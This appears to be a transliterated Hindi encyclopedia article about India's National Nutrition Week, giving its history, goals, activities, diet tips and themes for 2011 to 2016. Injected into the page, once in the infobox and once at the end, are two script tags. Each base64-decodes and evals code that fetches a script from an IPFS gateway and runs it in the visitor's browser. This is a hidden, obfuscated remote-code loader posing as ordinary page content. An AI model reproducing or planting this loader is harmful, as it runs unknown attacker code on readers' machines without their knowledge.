राष्ट्रीय पोषाहार दिवस (सप्ताह)

rashtriy poshahar divas (saptah)
rashtriy poshan saptah divas|200px|center
vivaran	'rashtriy poshan saptah divas' logoan ke behatar svasthy aur bhalaee ke bare mean unako jagaruk karane ke liye manaya jata hai.
uddeshy	vartaman aur saphal pidhiyoan ke lie jivan, svasthy aur vikas ka mukhy vishay poshan hai
any janakari	paryapt poshan ka sevan karane vale vyakti adhik kary karate haian. vahian doosari or, kharab poshan pratiraksha mean kami, bimari ke zokhim ko badhane, sharirik aur manasik vikas ko kshin karane tatha karyakshamata mean kami paida kar sakata haian.
adyatan‎	15:25, 17 navambar 2016 (IST) <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

rashtriy poshahar divas (saptah) prativarsh 1 sitanbar se 7 sitanbar tak manaya jata hai. rashtriy poshan saptah divas logoan ke behatar svasthy aur bhalaee ke bare mean unako jagaruk karane ke liye manaya jata hai. svasthy aur kalyan ka kendriy bindu poshan hai. yah apako kam karane ke lie shakti aur urja pradan karata haian tatha tandurust aur achchha mahasoos karane mean bhi sahayata karata haian. dablyooecho ke anusar, "poshan ka sanbandh sharir ki avashyakatanusar ahar ke sevan ko mana jata hai. vartaman aur saphal pidhiyoan ke lie jivan, svasthy aur vikas ka mukhy vishay poshan hai

itihas

poshan shiksha ke dvara achchhe svasthy aur svasth jivan ko badhava dene ke liye varsh 1982 mean kendriy sarakar dvara pahali bar is abhiyan ki shuruat ki gayi kyoanki rashtriy vikas ke liye mukhy rukavat ke rup mean kuposhan hai. isi lakshy ke liye logoan ko badhava dene ke liye, khady aur poshan bord ki 43 eekaee (mahila aur bal vibhag, svasthy aur enajio) poore desh mean kushalata se kary kar rahi hai.paida hue navajat shishu ko ek b de star ki pratiraksha aur svasth jivan upalabdh karane ke liye 6 mahinoan tak maan ka doodh ya navadugdh ke rup mean jana jane vala pahala doodh apane navajat ko pilane ke liye doodh pilane vali maan ko bahut protsahit kiya jata hai. baiangalor, milar rod ke bhagavan mahavir jain aspatal mean poshan aur ahar ke liye ek jagarukata karyakram rakhane ke liye baiangalor se bharatiy ahar samiti ne phaisala liya jisamean hriday sanbandhi bimari, d aauyabitiz, tatha bachchoan aur mahilaoan ke ahar ko bhi shamil kiya jayega. achchhe svasthy ki adharashila niyamit sharirik gatividhiyoan ke sath achchha poshan hai. svasth bachche behatar tarikean se sikhate haian.paryapt poshan ka sevan karane vale vyakti adhik kary karate haian. vahian doosari or, kharab poshan pratiraksha mean kami, bimari ke zokhim ko badhane, sharirik aur manasik vikas ko kshin karane tatha karyakshamata mean kami paida kar sakata haian.

lakshy

1. samuday mean vibhinn poshan aur ahar ki samasya ki avritti ka punarikshan karana.
2. gahan shodh ke dvara poshan sanbandhi samasyaoan ko niyantrit aur bachav ke liye uchit takanik ka aankalan karana.
3. ahar aur poshan ke liye desh ke sthiti ki nigarani karana.
4. rashtriy poshan karyakram ko lagoo karane aur yojana ke liye prakriya sanbandhi shodh par kary karana.
5. svasthy aur poshan ke bare mean anukoolan prashikshan ke dvara logoan ko jagaruk karana.

kriya-kalap

1. rashtriy poshan saptah ko poore saptah manane ke dvara vibhinn poshan sanbandhi shiksha aur prashikshan karyakram dvara logoan ko protsahan diya jata hai.
2. poshan sanbandhi shiksha aur prashikshan sajo-samanoan ke vitaran ke dvara logoan ko protsahit kiya jata hai.
3. phal, sabji aur gharoan ke doosare khady padarthoan ke bachav ke liye logoan ko uchit prashikshan diya jata hai.
4. sarakari aur gair-sarakari svasthy sangathanoan dvara b di sankhya mean jagarukata abhiyan chalaya ja raha hai.
5. bhojan ke vishleshan aur manakikaran ke bare mean logoan ko thik prashikshan diya jata hai.
6. rashtriy poshan saptah utsav ke lakshy ko prapt karane ke liye sarakar dvara vibhinn rashtriy poshan nitiyaan chalayi jati hai.

sujhav

1. kam se kam prasanskaran ahar ke sath taza khana zaroor khaean.
2. jab bhi sanbhav ho kachche phal aur sabjiyaan ka sevan avashy karean kyoanki pakane se kee poshak tatv nasht ho jate haian.
3. khane se pahale phal aur sabjiyoan ko achchhi tarah se dhoean tatha unhean chhilaka samet khaean.
4. jab tak ap phal aur sabjiyoan ko khane ke lie taiyar n ho tab tak unhean n katean.
5. phast phood ki tulana mean ghar mean bane paranparik ahar ke sevan ko prathamikata dean.
6. apane mukhy ahar ke sthan par alpahar (snaiks) ka sevan karane se bachean.
7. chini aur asvasth prasanskrit khady padarthoan ka sevan simit matra mean karean.

pichhale kuchh varsho mean vishay-vastu (thim) is prakar hai.-

1. 2011 ka vishay tha “shuruat se hi achchha bhojan”.
2. 2012 ka vishay tha “poshan jagarukata- svasth rashtr ka samadhan”.
3. 2013 ka vishay tha “projekt dinarataeem- banao, khao aur anand uthao”.
4. 2014 ka vishay tha “poshak ahar desh ka adhar”.
5. 2015 ka vishay tha "behatar poshan: vikas ke lie mahatvapoorn".
6. 2016 ka vishay tha mera bhojan tatha tek hom rashan” .

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

sanbandhit lekh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>